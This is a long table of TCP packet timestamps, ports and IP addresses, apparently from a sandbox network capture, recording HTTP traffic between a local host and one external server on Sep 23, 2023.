Sep 23, 2023 17:53:08.498699903 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.498744965 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.498884916 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.500797987 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.500854969 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.500869989 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.500883102 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.500926971 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.500947952 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.546655893 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.546875000 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.820167065 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.820199013 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.820298910 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.820872068 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.820898056 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.820945978 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.822422028 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.822478056 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.822524071 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.822916031 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.822967052 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.823023081 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:08.868669987 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.868705988 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:08.868772030 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.141941071 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.142159939 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.142179012 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.142225981 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.142456055 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.142472982 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.142508984 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.144293070 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.144344091 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.144361019 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.144386053 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.144437075 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.144459009 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.191828966 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.192025900 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.192055941 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.192338943 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.464575052 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.464603901 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.464621067 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.464637995 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.464826107 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.464826107 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.466414928 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.466480970 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.466602087 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.466666937 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.466675997 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.466953993 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.514380932 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.514925957 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.514955044 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.515326977 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.786736012 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.786758900 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.786796093 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.786828041 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.786911964 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.786928892 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.786962986 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.788101912 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.788150072 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.788157940 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.788486004 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.788532972 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.788552046 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.832138062 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.837326050 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.837344885 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.837404966 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:09.837420940 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:09.879117012 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.108881950 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.108944893 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.108983040 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.109020948 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.109100103 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.109292030 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.110903978 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.110944033 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.111005068 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.111032009 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.111042976 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.111119032 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.156258106 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.161087990 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.161132097 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.161175013 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.202923059 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.203028917 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.203059912 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.254055977 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.430984974 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.431016922 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.431082010 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.431107998 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.431142092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.431194067 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.433605909 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.433665037 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.433717012 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.433742046 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.433835030 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.433882952 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.483181953 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.483331919 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.483371973 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.483392000 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.527452946 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.527514935 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.527617931 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.576287985 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.576498032 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.755713940 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.755780935 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.755819082 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.755846977 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.755853891 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.755889893 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.755906105 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.755925894 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.755961895 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.755978107 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.755996943 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.756045103 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.756119967 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.800981045 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.804918051 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.804964066 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.805062056 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.850984097 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.851119995 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.851314068 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.898268938 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.898307085 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.898343086 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:10.898534060 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:10.941514015 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.078061104 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.078155041 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.078360081 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.078520060 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.078556061 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.078603983 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.078614950 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.078649998 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.078696012 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.078717947 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.078769922 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.078807116 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.078814030 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.122562885 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.122688055 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.126724958 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.126811028 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.126954079 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.126986027 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.175791979 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.175940037 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.176101923 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.176101923 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.220189095 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.220228910 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.220285892 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.267046928 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.316523075 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.402376890 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.402420998 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.402456045 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.402493954 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.402525902 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.402585983 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.402766943 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.402831078 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.402867079 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.402879953 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.402920961 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.402957916 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.402968884 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.402992964 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.403038979 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.448016882 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.448054075 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.448117018 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.450269938 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.450298071 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.450345039 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.497996092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.498054028 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.498099089 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.498245001 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.498286009 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.498343945 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.542754889 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.542788029 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.542861938 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.642079115 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.642121077 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.642293930 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.724416971 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.724437952 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.724456072 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.724473000 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.724518061 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.724566936 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.725004911 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.725106001 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.725142002 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.725157022 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.725286961 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.725322962 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.725338936 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.725425959 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.725472927 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.725487947 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.769764900 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.770155907 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.770261049 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.770298004 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.770317078 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.772456884 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.772525072 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.772531033 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.816689968 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.821897984 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.821935892 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.821973085 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.822007895 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.822010994 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.822043896 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.822057962 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.863539934 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.867818117 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.867841959 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.867918015 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:11.965356112 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.965385914 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:11.965446949 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.053410053 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.053441048 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.053450108 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.053458929 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.053474903 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.053796053 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.053972960 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.054003954 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.054013014 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.054023027 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.054032087 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.054044008 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.054054022 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.054145098 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.100640059 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.100759029 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.100815058 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.100871086 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.140568018 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.141061068 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.148957014 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.148977995 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.148983955 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.148993969 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.149002075 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.149159908 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.186968088 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.187035084 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.189629078 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.189692020 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.189706087 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.189754009 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.290904999 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.290937901 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.290944099 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.291249037 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.376005888 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376030922 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376038074 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376043081 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376053095 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376059055 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376066923 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376072884 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376132011 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376367092 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376385927 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376393080 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376399040 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.376429081 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.376548052 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.422550917 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422573090 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422579050 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422595024 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422600985 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422605991 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422610998 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422616005 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422862053 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422880888 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422888041 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422897100 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422903061 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422909021 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.422930002 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.422930002 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.423207998 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.423207998 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.698668957 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.698698997 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.698811054 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.749605894 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.749624968 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.749643087 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.749667883 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.749686003 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.749742985 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.749742031 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.749780893 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.749790907 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.749814987 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.749845028 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.749893904 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.749933958 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.749998093 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750045061 CEST	80	49761	77.91.124.231	192.168.2.4
Sep 23, 2023 17:53:12.750053883 CEST	49761	80	192.168.2.4	77.91.124.231
Sep 23, 2023 17:53:12.750113010 CEST	80	49761	77.91.124.231	192.168.2.4
